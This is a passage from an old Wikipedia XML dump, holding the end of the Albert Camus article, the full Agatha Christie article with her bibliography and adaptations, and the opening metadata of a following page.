In 1940, Camus married Francine Faure, a pianist and mathematician. Francine gave birth to twins Catherine and Jean Camus on September 5th, 1945. Also in this year, Camus began to work for ''[[Paris-Soir]]'' magazine. In the first stage of [[World War II]], the so-called [[Phony War]] stage, Camus was a [[pacifism|pacifist]]. However, he was in [[Paris]] to witness how the [[Wehrmacht]] took over. On [[December 15]], [[1941]], Camus witnessed the execution of [[Gabriel Peri]], an event which Camus later said crystallized his revolt against the Germans. Afterwards he moved to [[Bordeaux]] alongside the rest of the staff of ''Paris-Soir''. In this year he finished his first books, ''[[The Stranger (novel)|The Stranger]]'' and ''[[The Myth of Sisyphus]]''. He returned briefly to [[Oran]], Algeria in 1942.

== Literary career ==
During the war Camus joined the [[French Resistance]] cell ''Combat'', which published an underground newspaper of the same name. This group worked against the Nazis, and in it Camus assumed the [[moniker]] &quot;Beauchard&quot;. Camus became the paper's editor in 1943, and when the Allies liberated Paris Camus reported on the last of the fighting. He eventually resigned from ''Combat'' in 1947, when it became a commercial paper. It was here that he became acquainted with [[Jean-Paul Sartre]].

[[Image:camus-albert.jpg|thumb|right|Albert Camus]]
After the war, Camus became one member of Sartre's entourage and frequented ''[[Café de Flore]]'' on the [[Boulevard St. Germain]] in [[Paris]]. Camus also toured the [[United States]] to lecture about French existentialism. Although he leaned [[left-wing politics|left]] politically, his strong criticisms of communist doctrine did not win him any friends in the communist parties and eventually also alienated Sartre. 

In 1949 his tuberculosis returned and he lived in seclusion for two years. In 1951 he published ''[[The Rebel]]'', a philosophical analysis of rebellion and revolution which made clear his rejection of communism. The book upset many of his colleagues and contemporaries in France and led to the final split with Sartre. The dour reception depressed him and he began instead to translate plays. 

Camus's most significant contribution to philosophy was his idea of the absurd, the result of our desire for clarity and meaning within a world and condition that offers neither, which he explained in ''[[The Myth of Sisyphus]]'' and incorporated into many of his other works, such as ''[[The Plague]]''. Some would argue that Camus is better described not as an [[existentialist]] (a label he would have rejected) but as an [[absurdist]].

In the 1950s Camus devoted his efforts to [[human rights]]. In 1952 he resigned from his work for [[UNESCO]] when the [[UN]] accepted [[Spain]] as a member under the leadership of [[Francisco Franco|General Franco]]. In 1953 he was one of the few leftists who criticized [[Soviet Union|Soviet]] methods to crush a worker's strike in [[East Berlin]]. In 1956 he protested similar methods in [[Hungary]]. 

He maintained his pacifism and resistance to [[capital punishment]] everywhere in the world. One of his most significant contributions was an essay collaboration with [[Arthur Koestler|Koestler]], the writer, intellectual, and founder of the League Against Capital Punishment.

When the [[Algerian War of Independence]] began in 1954 it presented a moral dilemma for Camus. He identified with [[pied-noir]]s, and defended the French government on the grounds that revolt of its North African colony was really an integral part of the 'new Arab imperialism' led by Egypt and an 'anti-Western' offensive orchestrated by Russia to 'encircle Europe' and 'isolate the United States' (Actuelles III: Chroniques Algeriennes, 1939-1958). Although favouring greater Algerian [[self-governance|autonomy]] or even [[federation]], though not full-scale independence, he believed that the pied-noirs and Arabs could co-exist. During the war he advocated civil truce that would spare the civilians, which was rejected by both sides who regarded it as foolish. Behind the scenes, he began to work clandestinely for imprisoned Algerians who faced the death penalty. 

From 1955 to 1956 Camus wrote for [[L'Express]]. In [[1957]] he was awarded the [[Nobel Prize in literature]], officially not for his novel ''[[The Fall]]'', published the previous year, but for his writings against capital punishment in the essay &quot;Réflexions Sur la Guillotine&quot;. When he spoke to students at the [[University of Stockholm]], he defended his apparent inactivity in the Algerian question and stated that he was worried what could happen to his mother who still lived in Algeria. This led to further ostracism by French left-wing intellectuals.

Camus died on [[January 4]], [[1960]] in a car accident near [[Sens]], in a place named &quot;Le Grand Frossard&quot; in the small town of Villeblevin.  Ironically, Camus had uttered a remark earlier in his life that the most absurd way to die would be in a car accident. 
[[Image:Camus Monument in Villeblevin France 17-august-2003.1.JPG|thumb|left|The monument to the French writer and philosopher Albert Camus (1913-1960), built in the small town of Villeblevin (France) where he died in a car crash on January 4, 1960]] 
[[Image:Camus Monument in Villeblevin France 17-august-2003.4.JPG|thumb|left|The bronze plaque on the monument to the French writer and philosopher Albert Camus (1913-1960), built in the small town of Villeblevin (France). The plaque says: &quot;From the Yonne area's local council, in tribute to the writer Albert Camus who was watched over in the Villeblevin town hall in the night of the 4th to the 5th of January 1960&quot;]]
The driver of the [[Facel Vega]], [[Michel Gallimard]] -- his publisher and close friend -- also perished in the accident. Camus was interred in the Lourmarin Cemetery, [[Lourmarin]], [[Vaucluse]], [[Provence-Alpes-Côte d'Azur]], [[France]]. 

He was survived by his twin children, Catherine and Jean, who hold the copyrights to his work.

After his death, two of Camus's works were published posthumously.  The first was an earlier version of ''[[The Stranger (novel)|The Stranger]]'' entitled ''[[A Happy Death]]'' and was published in [[1970]].  The second work was an unfinished novel, ''[[The First Man]]'', that Camus was writing before he died.  The novel was an [[autobiographical]] work about his childhood in [[Algeria]] and was published in [[1995]].
{{-}}

==Summary of Absurdism==
[[Image:20041113-002 Lourmarin Tombstone Albert Camus.jpg|thumb|Albert Camus' gravestone]]
Many writers have written on the Absurd, each with his or her own interpretation of what the Absurd actually is and their own ideas on the importance of the Absurd. For example, Sartre does little more than acknowledge it while Kierkegaard bases the existence of the God on the fact of the absurd. Camus was not the originator of Absurdism and regretted the continued reference to him as a ''philosopher of the absurd''. He shows less and less interest in the Absurd shortly after publishing ''Le Mythe de Sisyphe'' (The Myth of Sisyphus). To distinguish Camus's ideas of the Absurd from those of other philosophers, people sometimes refer to the '''Paradox of the Absurd''', when referring to ''Camus's Absurd''.

His early thoughts on the Absurd appeared in his first collection of essays, ''L'Envers et l'endroit'' (The Wrong Side and the Right Side) in 1937. Absurd themes appeared with more sophistication in his second collection of essays, ''Noces'' (Nuptials), in 1938. In these essays Camus does not offer a philosophical account of the Absurd, or even a definition; rather he reflects on the experience of the Absurd. In 1942 he published the story of a man living an Absurd life as ''L'Étranger'' (The Stranger/Outsider), and in the same year releases ''Le Mythe de Sisyphe'' (The Myth of Sisyphus), a literary essay on the Absurd. He had also written a play about a Roman Emperor, Caligula, pursuing an Absurd logic. However, the play was not performed until 1945. The turning point in Camus's attitude to the Absurd occurs in a collection of letters to a fictitious German friend, published in the newspaper ''Combat''.

===Camus' ideas on the Absurd===
In the essays Camus presented us with dualisms; happiness and sadness, dark and light, life and death, etc. He wanted us to face up to the fact that happiness is fleeting and that we will die. He did this not to be morbid, but so we can love life and enjoy our happiness when it occurs. In ''Le Myth'', this dualism became a paradox; we value our lives and existence so greatly, but at the same time we know we will eventually die, and ultimately our endeavours are meaningless. Whilst we can live with a dualism (''I can accept periods of unhappiness, because I know I will also experience happiness to come''), we cannot live with the paradox (''I think my life is of great importance, but I also think it is meaningless''). In ''Le Myth'', Camus was interested in how we experience the Absurd and how we live with it. Our life must have meaning for us to value it. If we accept that life has no meaning and therefore no value, should we kill ourselves?

Meursault, the Absurdist hero of ''L'Étranger'', is a murderer who is executed for his crimes. Caligula ends up admitting his Absurd logic was wrong and is killed by an assassination he has deliberately brought about. However, Camus, while obviously suggesting that Caligula's Absurd reasoning is wrong, exalts Meursault as the only Messiah we deserve. ''Le Mythe de Sisyphe'' raises questions it cannot satisfactorily answer. 

Camus' work on the Absurd was intended to promote a public debate. His various offerings entice us to think about the Absurd and offer our own contribution. Concepts such as cooperation, joint effort and solidarity are of key importance to Camus. In the essay ''Enigma'', Camus expressed his frustration at being labeled a philosopher of the absurd. None of his previous work was intended to be a definitive account of his thoughts on the Absurd, although the ''Le Mythe de Sisyphe'' is often mistaken as such. 

Camus made a significant contribution to our understanding of the Absurd, but was not himself an Absurdist. &quot;If nothing had any meaning, you would be right. But there is something that still has a meaning.&quot; ''Second Letter to a German Friend'', December 1943.

==Famous works==
===Novels===
*''[[The Stranger (novel)|The Stranger]]'' (''L'Étranger'', also translated as ''The Outsider) (1942)
*''[[The Plague]]'' (''La Peste'') (1947)
*''[[The Fall]]'' (''La Chute'') (1956)
*''[[A Happy Death]]'' (''La Mort heureuse'') (early version of ''The Stranger'', published posthumously 1970)
*''[[The First Man]]'' (''Le premier homme'') (incomplete, published posthumously 1995)

===Short stories===
*''[[Exile and the Kingdom]]'' (''L'exil et le royaume'') (1957)
*''[[The Guest]]'' (1957)
*''[[La Femme Adultère]]'' (1954)

===Non-fiction===
*''[[Betwixt and Between]]'' (''L'envers et l'endroit'', also translated as ''The Wrong Side and the Right Side'') (collection, 1937)
*''[[Neither Victim Nor Executioner]]'' (''Combat'') (1946)
*''[[The Myth of Sisyphus]]'' (''Le Mythe de Sisyphe'') (1942)
*''[[The Rebel]]'' (''L'Homme révolté'') (1951)
*''Notebooks 1935-1942'' (''Carnets, mai 1935 -- fevrier 1942'') (1962)
*''Notebooks 1943-1951'' (1965)
*''[[Nuptials]]'' (''Noces'')

===Plays===
*''[[Caligula (play)|Caligula]]'' (performed 1945, written 1938)
*''[[The Misunderstanding]]'' (''Le Malentendu'') (1944)
*''[[State of Siege]]'' (''L'État de siège'') (1948)
*''[[The Just Assassins]]'' (''Les Justes'') (1949)

===Collections===
*Youthful Writings
*''[[Resistance, Rebellion, and Death]]'' (1961 - Collection of essays selected by the author)
*Between Hell and Reason: Essays from the Resistance Newspaper &quot;Combat&quot;, 1944-1947  (1991)
*Camus at &quot;Combat&quot;: Writing 1944-1947 (2005)


==Adaptations==

===Movies===
*[[Luchino Visconti]] made [[The Stranger (1967 movie)|a movie of ''The Stranger'']] in 1967, starring [[Marcello Mastroianni]].
*[[Luis Puenzo]] and [[Felix Monti]] were responsible for a modern day rendition of ''The Plague'' in 1991. The film starred [[William Hurt]].


==Further Reading==

===Bibliography===
*Heiner Wittmann, Albert Camus. ''Kunst und Moral. Dialoghi/Dialogues. Literatur und Kultur Italiens und Frankreichs.'' Hrsg. Dirk Hoeges, Peter Lang, Frankfurt/M u.a. 2002

{{start box}}
{{succession box | before = [[Halldor Laxness]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1957 | after = [[Boris Pasternak]]
}}
{{end box}}

==External links==
{{wikiquote}}
* [http://nobelprize.org/literature/laureates/1957/ Nobel Prize in Literature (1957) Link]
* [http://www.tameri.com/csw/exist/camus.shtml Existentialism and Albert Camus]
* [http://archive.salon.com/books/feature/2004/11/01/camus/print.html &quot;The Rebel&quot; at Salon.com]
* [http://www.che-lives.com/home/modules.php?name=News&amp;file=article&amp;sid=125 The Absurd Hero &amp; The Ruthless Critic]
* [http://www.thenation.com/doc.mhtml?i=20040405&amp;s=jacoby&amp;c=1 &quot;Accidental Friends&quot; the story of the Camus-Sartre friendship and very public breakup]
* http://www.romanistik.info/camus.html (in German)
* [http://ceh.kitoba.com/hook/camus.html Camus's Choice: An Existential (Humanist) Antiplot]
* [http://www.3ammagazine.com/litarchives/2003/jan/interview_catherine_camus.html Interview with daughter Catherine - 3AM]
* [http://www.spikemagazine.com/0397camu.php Another interview with daughter Catherine - Spike] 
* [http://www.anselm.edu/homepage/dbanach/sisyphus.htm The Myth of Sysiphus]
* [http://atheisme.free.fr/Biographies/Camus_e.htm Biography and quotes of Albert Camus]
* [http://www.camus-society.com Albert Camus Society UK]

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[[Category:Existentialists|Camus, Albert]]
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[[Category:French journalists|Camus, Albert]]
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    </revision>
  </page>
  <page>
    <title>Agatha Christie</title>
    <id>984</id>
    <revision>
      <id>41969359</id>
      <timestamp>2006-03-02T23:17:59Z</timestamp>
      <contributor>
        <ip>72.141.37.206</ip>
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      <comment>/* Biography */</comment>
      <text xml:space="preserve">[[Image:Agatha christie.png|right|thumb|180px|Agatha Christie]]

'''Agatha Mary Clarissa Christie''', [[Order of the British Empire|DBE]] ([[September 15]], [[1890]] &amp;ndash; [[January 12]], [[1976]]), was a [[United Kingdom|British]] [[crime fiction]] writer. She also wrote romances under the name '''Mary Westmacott'''.

Agatha Christie is the world's best-known mystery writer and, apart from [[William Shakespeare]], is the all-time best-selling author of any genre. Her books have sold over two billion copies in the [[English language]] and another billion in over 45 foreign languages (as of 2003). As an example of her broad appeal, she is the all-time best-selling author in France, with over 40 million copies sold in [[French language|French]] (as of 2003) versus 22 million for [[Émile Zola]], the nearest contender. She is famously known as the 'Queen of Crime' and is, arguably, the most important and innovative writer in the development of the English mystery novel.

Her [[Play|stage play]] ''[[The Mousetrap]]'' holds the record for the longest run ever in London, opening at the Ambassadors Theatre on [[November 25]], [[1952]], and as of 2006 is still running after more than 20,000 performances.

Christie published over eighty novels and stageplays, mainly [[Whodunit|whodunnit]]s and [[locked room mystery|locked room mysteries]], many of these featuring one of her main series characters, [[Hercule Poirot]] or [[Miss Marple]]. Although she delighted in twisting the established [[detective fiction]] form - one of her early books, ''[[The Murder of Roger Ackroyd]]'', is renowned for its surprise denouement - she was scrupulous in &quot;playing fair&quot; with the reader by making sure information for solving the [[puzzle]] was given. 

Most of her books and [[short story|short stories]] have been filmed, some many times over (''[[Murder on the Orient Express]]'', ''[[Death on the Nile]]'', ''[[4.50 From Paddington|4.50 from Paddington]]''). The [[British Broadcasting Corporation|BBC]] has produced television and radio versions of most of the Poirot and Marple stories. A later series of Poirot dramatizations starring [[David Suchet]] was made by [[Granada Television]]. In 2004, the Japanese broadcasting company [[NHK|Nippon Housou Kyoukai]] turned Poirot and Marple into animated characters in the [[anime]] series ''[[Agatha Christie's Great Detectives Poirot and Marple]]'', introducing Mabel West (daughter of Miss Marple's mystery-writer nephew Raymond West, a [[canon (fiction)|canon]]ical Christie character) and her duck Oliver as new characters.

==Biography==
[[Image:Agatha Christie plaque, Torre Abbey.jpg|thumb|A plaque from the Agatha Christie Mile at [[Torre Abbey]] in [[Torquay]].]]

Christened '''Agatha May Clarissa Miller''', in [[Torquay]], [[Devon]], [[England]], she was the daughter of a [[United States]]-born father and a British mother. (However, she never held U.S. citizenship.)

Christie's first marriage, an unhappy one, was in 1914 to Colonel Archibald Christie, an aviator in the [[Royal Flying Corps]]. The couple had one daughter, [[Rosalind Hicks]], and divorced in 1928. 

During [[World War I]] she worked at a hospital and then a pharmacy, a job that also influenced her work: many of the murders in her books are carried out with [[poison]].

In December 1926 she disappeared for eleven days, causing quite a storm in the press. Her car was found abandoned in a chalk pit. She was eventually found staying at a hotel in [[Harrogate]], where she claimed to have suffered [[amnesia]] due to a [[nervous breakdown]] following the death of her mother and her husband's confessed infidelity. Opinions are still divided as to whether this was a [[publicity stunt]] or not. A 1979 film, ''[[Agatha (film)|Agatha]]'', starring [[Vanessa Redgrave]] as Christie, recounted a fictionalised version of the disappearance.

In 1930, Christie married (despite her divorce) a Roman Catholic, Sir [[Max Mallowan]], a British [[Archaeology|archaeologist]] 14 years her junior, and her travels with him contributed background to several of her novels set in the [[Middle East]]. Other novels (such as [[And Then There Were None]]) were set in and around [[Torquay]], [[Devon]], where she was born. 

In 1971 she was granted the title of [[Order of the British Empire|Dame Commander of the British Empire]].

Agatha Christie died on [[January 12]], [[1976]], at age 85 from natural causes, at [[Winterbrook House]], [[Cholsey]] near [[Wallingford]], [[Oxfordshire]]. She is buried at St. Mary's Churchyard in Cholsey, Oxon. 

Christie's only child, [[Rosalind Hicks]], died on [[October 28]], [[2004]], also aged 85, from natural causes. Christie's grandson, Matthew Prichard, now owns the royalties to his grandmother's works.

{{spoiler}}

Two of her novels were written at the height of her career but held back until after her death: they were the last cases of Poirot and Miss Marple. In the final Poirot novel ''[[Curtain (novel)|Curtain]]'', Christie killed her creation and explained in her diary that she had always found him insufferable. She had a great fondness for Miss Marple, who was based largely on Christie's own grandmother, so she allowed Miss Marple to solve one more mystery in ''[[Sleeping Murder]]'' and return to the solitude of her village. However, since ''Sleeping Murder'' had been written quite a while previously, at least one character (Colonel Arthur Bantry, husband of Jane Marple's friend, Dolly) who had been declared deceased in earlier-released mysteries reappeared alive and well.

==Works==
* 1920 ''[[The Mysterious Affair at Styles]]'' (her first book, which introduced [[Hercule Poirot]], [[Chief Inspector Japp]] and [[Arthur Hastings|Captain Hastings]])
* 1922 ''[[The Secret Adversary]]'' (introduced [[Tommy and Tuppence]])
* 1923 ''[[Murder on the Links]]''
* 1924 ''[[The Man in the Brown Suit]]''
* 1924 ''[[Poirot Investigates]]'' (eleven short stories)
* 1925 ''[[The Secret of Chimneys]]''
* 1926 ''[[The Murder of Roger Ackroyd]]''
* 1927 ''[[The Big Four (novel)|The Big Four]]''
* [[1928 in literature|1928]] ''[[The Mystery of the Blue Train]]'' ISBN 0425130266
* 1929 ''[[Partners in Crime (novel)|Partners in Crime]]'' (fifteen short stories)
* 1929 ''[[The Seven Dials Mystery]]'' 
* 1930 ''[[The Murder at the Vicarage]]'' (introduced [[Miss Marple|Jane Marple]])
* 1930 ''[[The Mysterious Mr. Quin]]'' (introduced Mr. Harley Quin, short stories)
* 1931 ''[[The Sittaford Mystery]]''
* 1932 ''[[Peril at End House]]''
* 1933 ''[[The Hound of Death]]'' (twelve short mysteries)
* 1933 ''[[Lord Edgware Dies]]''  (also known as ''Thirteen at Dinner'')
* 1933 ''[[The Thirteen Problems]]'' (Thirteen short mysteries, featuring Miss Marple)
* [[1934 in literature|1934]] ''[[Murder on the Orient Express]]'' ISBN 0425200450
* 1934 ''[[Parker Pyne Investigates]]'' (twelve short mysteries) (introduced [[Parker Pyne]] and [[Ariadne Oliver]])
* 1934 ''[[The Listerdale mystery]]'' (twelve short mysteries)
* 1935 ''[[Three Act Tragedy]]'' (also known as ''Murder in Three Acts'') 
* 1935 ''[[Why Didn't They Ask Evans?]]''  (also known as ''The Boomerang Clue'')
* 1935 ''[[Death in the Clouds]]'' (also known as ''Death in the Air'')
* 1936 ''[[The A.B.C. Murders]]''  (also known as ''The Alphabet Murders'')
* 1936 ''[[Murder in Mesopotamia]]''
* 1936 ''[[Cards on the Table]]''
* 1937 ''[[Death on the Nile]]''
* 1937 ''[[Dumb Witness]]''  (also known as ''Poirot Loses a Client'')
* 1937 ''[[Murder in the Mews]]'' (Four short stories, featuring Hercule Poirot)
* 1938 ''[[Appointment with Death]]''
* [[1939 in literature|1939]] ''[[And Then There Were None]]'' (first published as ''Ten Little Niggers'', also known as ''Ten Little Indians'') ISBN 0312979479
* [[1939 in literature|1939]] ''[[Murder is Easy]]''  (also known as ''Easy to Kill'')
* [[1939 in literature|1939]] ''[[Hercule Poirot's Christmas]]'' ISBN 0425177416
* [[1939 in literature|1939]] ''[[The Regatta Mystery|Regatta Mystery and Other Stories]]'' (Nine short stories)
* 1940 ''[[Sad Cypress]]''
* 1941 ''[[Evil Under the Sun]]''
* 1941 ''[[N or M?]]''
* 1941 ''[[One, Two, Buckle My Shoe]]'' (also known as ''An Overdose of Death'')
* 1942 ''[[The Body in the Library]]''
* 1942 ''[[Five Little Pigs]]''  (also known as ''Murder in Retrospect'')
* 1942 ''[[The Moving Finger]]''
* 1944 ''[[Towards Zero]]''
* 1944 ''[[Sparkling Cyanide]]''  (also known as ''Remembered Death'')
* 1945 ''[[Death Comes as the End]]''
* 1946 ''[[The Hollow]]''  (also known as ''Murder After Hours'')
* 1947 ''[[The Labours of Hercules]]'' (twelve short mysteries featuring Hercule Poirot)
* 1948 ''[[Taken at the Flood]]'' (also known as ''There is a Tide'')
* 1948 ''[[Witness for the Prosecution and Other Stories]]''
* 1949 ''[[Crooked House]]''
* 1950 ''[[A Murder is Announced]]''
* 1950 ''[[Three Blind Mice and Other Stories]]''
* 1951 ''[[They Came to Baghdad]]''
* 1951 ''[[The Under Dog and Other Stories]]'' (Nine short stories)
* 1952 ''[[Mrs McGinty's Dead]]'' (also known as ''Blood Will Tell'')
* 1952 ''[[They Do It with Mirrors]]''
* 1953 ''[[A Pocket Full of Rye]]''
* 1953 ''[[After the Funeral]]''  (also known as ''Funerals are Fatal'')
* 1955 ''[[Hickory Dickory Dock (novel)|Hickory Dickory Dock]]''  (also known as ''Hickory Dickory Death'')
* 1955 ''[[Destination Unknown (novel)|Destination Unknown]]''  (also known as ''So Many Steps to Death'')
* 1956 ''[[Dead Man's Folly]]''
* 1957 ''[[4.50 From Paddington|4.50 from Paddington]]''  (also known as ''What Mrs. McGillycuddy Saw'')
* 1957 ''[[Ordeal by Innocence]]''
* 1959 ''[[Cat Among the Pigeons]]''
* 1960 ''[[The Adventure of the Christmas Pudding]]'' (Six short stories)
* 1961 ''[[The Pale Horse (novel)|The Pale Horse]]''
* 1962 ''[[The Mirror Crack'd from Side to Side]]''
* 1963 ''[[The Clocks (novel)|The Clocks]]''
* 1964 ''[[A Caribbean Mystery]]''
* 1965 ''[[At Bertram's Hotel]]''
* 1966 ''[[Third Girl]]''
* 1967 ''[[Endless Night]]''
* 1968 ''[[By the Pricking of My Thumbs (novel)|By the Pricking of My Thumbs]]''
* 1969 ''[[Hallowe'en Party]]''
* 1970 ''[[Passenger to Frankfurt]]''
* 1971 ''[[Nemesis (Christie)|Nemesis]]''
* 1971 ''[[The Golden Ball and Other Stories]]'' (Fifteen short stories)
* 1972 ''[[Elephants Can Remember]]''
* 1973 ''[[Akhnaton (play)|Akhnaton - A play in three acts]]''
* 1973 ''[[Postern of Fate]]'' (final Tommy and Tuppence, last novel Christie wrote)
* 1974 ''[[Poirot's Early Cases]]'' (eighteen short mysteries)
* 1975 ''[[Curtain (novel)|Curtain]]'' (Poirot's last case, written four decades earlier)
* 1976 ''[[Sleeping Murder]]'' (Miss Marple's last case, written four decades earlier)
* 1979 ''[[Miss Marple's Final Cases and Two Other Stories]]''
* 1997 ''[[While the Light Lasts and Other Stories]]'' (also known as ''The Harlequin Tea Set and Other Stories'')

Co-authored works:
* 1931 ''[[The Floating Admiral]]'' written together with [[G. K. Chesterton]], [[Dorothy L. Sayers]] and certain other members of the [[Detection Club]].
Plays adapted into novels by Charles Osborne:
* 1998 ''[[Black Coffee (book)|Black Coffee]]''
* 2001 ''[[The Unexpected Guest]]''
* 2003 ''[[The Spider's Web]]''

Works written as Mary Westmacott:
* 1930 ''[[Giant's Bread]]''
* 1934 ''[[Unfinished Portrait (novel)|Unfinished Portrait]]''
* 1944 ''[[Absent in the Spring]]''
* 1948 ''[[The Rose and the Yew Tree]]''
* 1952 ''[[A Daughter's a Daughter]]''
* 1956 ''[[The Burden (novel)|The Burden]]''

Plays:
* 1928 ''[[Alibi]]''
* 1930 ''[[Black Coffee (play)|Black Coffee]]''
* 1936 ''[[Love from a Stranger]]''
* [[1937 or 1939]] ''[[A Daughter's a Daughter]]'' (Never Performed)
* 1940 ''[[Peril at End House]]''
* 1943 ''[[And Then There Were None|Ten Little Indians]]''
* 1945 ''[[Appointment With Death]]''
* 1946 ''[[Murder on the Nile/Hiddon Horizon]]''
* 1949 ''[[Murder at the Vicarage]]''
* 1951 ''[[The Hollow]]''
* 1952 ''[[The Mousetrap]]''
* 1953 ''[[Witness for the Prosecution]]''
* 1954 ''[[The Spider's Web]]''
* 1956 ''[[Towards Zero]]''
* 1958 ''[[Verdict]]''
* 1958 ''[[The Unexpected Guest]]''
* 1960 ''[[Go Back for Murder]]''
* 1962 ''[[Rule of Three]]''
* 1972 ''[[Fiddler's Three]]'' (Originally written as Fiddler's Five. Never Published. Final play she wrote.)
* 1973 ''[[Aknaton]]'' (Written in 1937)
* 1977 ''[[Murder is Announced]]''
* 1981 ''[[Cards on the Table]]''
* 1993 ''[[Murder is Easy]]''
* 2000? ''[[And Then There Were None]]''

Radio Plays:
* 1937 ''[[The Yellow Iris]]''
* 1947 ''[[Three Blind Mice]]''
* 1948 ''[[Butter In a Lordly Dish]]''
* 1960 ''[[Personal Call]]''

Television Plays:

* 1937 ''[[Wasp's Nest]]''

==Movie Adaptions==
Agatha Christie is no stranger to the cinema. Over the last 78 years, Poirot, Miss Marple, Tommy and Tuppence, Mr. Quin, Parker Pyne, and many others have been portrayed on numerous occasions:

* 1928 ''[[Die Abenteuer G. m. b. H]]'' (The Secret Adversary)
* 1928 ''[[The Passing of Mr. Quinn]]''
* 1931 ''[[Alibi]]''
* 1931 ''[[Black Coffee (film)|Black Coffee]]''
* 1934 ''[[Lord Edgware Dies]]''
* 1937 ''[[Love From A Stranger]]''
* 1945 ''[[And Then There Were None]]''
* 1947 ''[[Love From A Stranger]]''
* 1957 ''[[Witness for the Prosecution]]''
* 1960 ''[[The Spider's Web]]''
* 1962 ''[[Murder, She Said]]''  (Based on [[4.50 From Paddington]])
* 1963 ''[[Murder at the Gallop]]'' (Based on [[After The Funeral]])
* 1964 ''[[Murder Most Foul]]'' (Based on [[Mrs. McGinty's Dead]])
* 1964 ''[[Murder Ahoy!]]'' (An original Movie, not based on any of the books)
* 1966 ''[[And Then There Were None|Ten Little Indians]]''
* 1966 ''[[The Alphabet Murders]]'' (Based on The ABC Murders)
* 1972 ''[[Endless Night]]''
* 1974 ''[[Murder on the Orient Express]]''
* 1975 ''[[And Then There Were None|Ten Little Indians]]''
* 1978 ''[[Death on the Nile]]''
* 1980 ''[[The Mirror Crack'd]]'' 
* 1982 ''[[Evil Under the Sun]]''
* 1984 ''[[Ordeal by Innocence]]''
* 1988 ''[[Appointment with Death]]''
* 1989 ''[[And Then There Were None|Ten Little Indians]]''

==Television Plays==
* 1938 ''[[Love from a Stranger]]''
* 1947 ''[[Love from a Stranger]]''
* 1949 ''[[And Then There Were None|Ten Little Indians]]''
* 1959 ''[[And Then There Were None|Ten Little Indians]]''
* 1970 ''[[Murder at the Vicarage]]''
* 1980 ''[[Why Didn't They Ask Evans?]]''
* 1982 ''[[The Spider's Web]]''
* 1982 ''[[The Seven Dials Mystery]]''
* 1982 ''[[The Agatha Christie Hour]]''
* 1982 ''[[Murder is Easy]]''
* 1982 ''[[The Witness for the Prosecution]]''
* 1983 ''[[Partners in Crime]]''
* 1983 ''[[A Caribbean Mystery]]''
* 1983 ''[[Sparkling Cyanide]]''
* 1984 ''[[The Body in the Library]]''
* 1985 ''[[Murder With Mirrors]]''
* 1985 ''[[The Moving Finger]]''
* 1985 ''[[A Murder Is Announced]]''
* 1985 ''[[A Pocket Full of Rye]]''
* 1985 ''[[Thirten At Dinner]]''
* 1986 ''[[Dead Man's Folly]]
* 1986 ''[[Murder in Three Acts]]''
* 1986 ''[[Murder at the Vicarage]]''
* 1987 ''[[Sleeping Murder]]''
* 1987 ''[[At Bertram's Hotel]]''
* 1987 ''[[Nemesis (Christie)|Nemesis]]''
* 1987 ''[[4.50 From Paddington]]''
* 1989 ''[[The Man In The Brown Suit]]''
* 1989 ''[[Agatha Christie's Poirot]]
* 1989 ''[[A Caribbean Mystery]]''
* 1990 ''[[Peril at End House]]''
* 1990 ''[[The Mysterious Affair at Styles]]''
* 1991 ''[[They Do It With Mirrors]]''
* 1992 ''[[The Mirror Crack'd from Side to Side]]''
* 1994 ''[[Hercule Poirot's Christmas]]''
* 1995 ''[[Murder on the Links]]''
* 1995 ''[[Hickory Dickory Dock]]''
* 1996 ''[[Dumb Witness]]''
* 1997 ''[[The Pale Horse]]''
* 2000 ''[[The Murder of Rodger Ackroyd]]''
* 2000 ''[[Lord Edgware Dies]]''
* 2001 ''[[Evil Under The Sun]]''
* 2001 ''[[Murder on the Orient Express]]''
* 2001 ''[[Murder in Mesopotamia]]''
* 2003 ''[[Sparkling Cyanide]]''
* 2004 ''[[Five Little Pigs]]''
* 2004 ''[[Death On The Nile]]''
* 2004 ''[[Sad Cypress]]''
* 2004 ''[[The Hollow]]''
* 2004 ''[[Marple]]''
* 2004 ''[[The Body in the Library]]''
* 2004 ''[[Murder at the Vicarage]]''
* 2004 ''[[Appointment with Death]]''
* 2005 ''[[A Murder is Announced]]''
* 2005 ''[[The Mystery of the Blue Train]]''
* 2005 ''[[Cards on the Table]]''
* 2005 ''[[Sleeping Murder]]''
* 2005 ''[[Taken at the Flood]]''
* 2006 ''[[After the Funeral]]''
* 2006 ''[[The Moving Finger]]''
* 2006 ''[[By the Pricking of my Thumbs]]''
* 2006 ''[[The Sittaford Mystery]]''
* 2007 ''[[Hercule Poirot's Christmas]]'' (A french film adaption)

==Video Games==
* 2005 ''[[And Then There Were None]]''

==Agatha Christie in fiction==
Dame Agatha appears as one of the title characters, with [[Dorothy L. Sayers]], in the fictional murder mystery ''[[Dorothy and Agatha]]'' by [[Gaylord Larsen]].

''[[The Poisoned Chocolates Case]]'' by [[Anthony Berkeley]] contains characters based on Christie, Sayers, [[John Dickson Carr|Carr]], and [[Chesterton]].

The movie [[Agatha]]; which was released in 1979, was about a fictional solution to the real mystery of Agatha Christie's disappearance in 1926. Her chracter was played by [[Vanessa Redgrave]]. Other cast members included [[Dustin Hoffman]] and [[Timothy Dalton]].

==External links==
{{wikiquote}}
* [http://www.agathachristie.com/ Official Agatha Christie site]
* [http://www.classiccrimefiction.com/christiebib.htm Agatha Christie Bibliography ] first editions - illustrated
*[http://librivox.org/the-mysterious-affair-at-styles-by-agatha-christie/ Free Audiobook] of '' The Mysterious Affair at Styles'' at [http://librivox.org/ LibriVox]
* {{gutenberg author| id=Agatha+Christie | name=Agatha Christie}}
* [http://samvak.tripod.com/christie.html Historical and cultural background to Christie's mystery novels]

[[Category:1890 births|Christie, Agatha]]
[[Category:1976 deaths|Christie, Agatha]]
[[Category:Natives of Devon|Christie, Agatha]]
[[Category:Autodidacts|Christie, Agatha]]
[[Category:British crime writers|Christie, Agatha]]
[[Category:English mystery writers|Christie, Agatha]]
[[Category:English dramatists and playwrights|Christie, Agatha]]
[[Category:English short story writers|Christie, Agatha]]
[[Category:Dames Commander of the British Empire|Christie, Agatha]]
[[Category:Agatha Christie|*]]

[[ar:أجاثا كريستي]]
[[bg:Агата Кристи]]
[[cs:Agatha Christie]]
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[[zh:阿加莎·克里斯蒂]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Camus/The Outsider</title>
    <id>985</id>
    <revision>
      <id>15899495</id>
      <timestamp>2004-04-15T23:31:30Z</timestamp>
      <contributor>
        <username>LarryGilbert</username>
        <id>47080</id>
      </contributor>
      <minor />
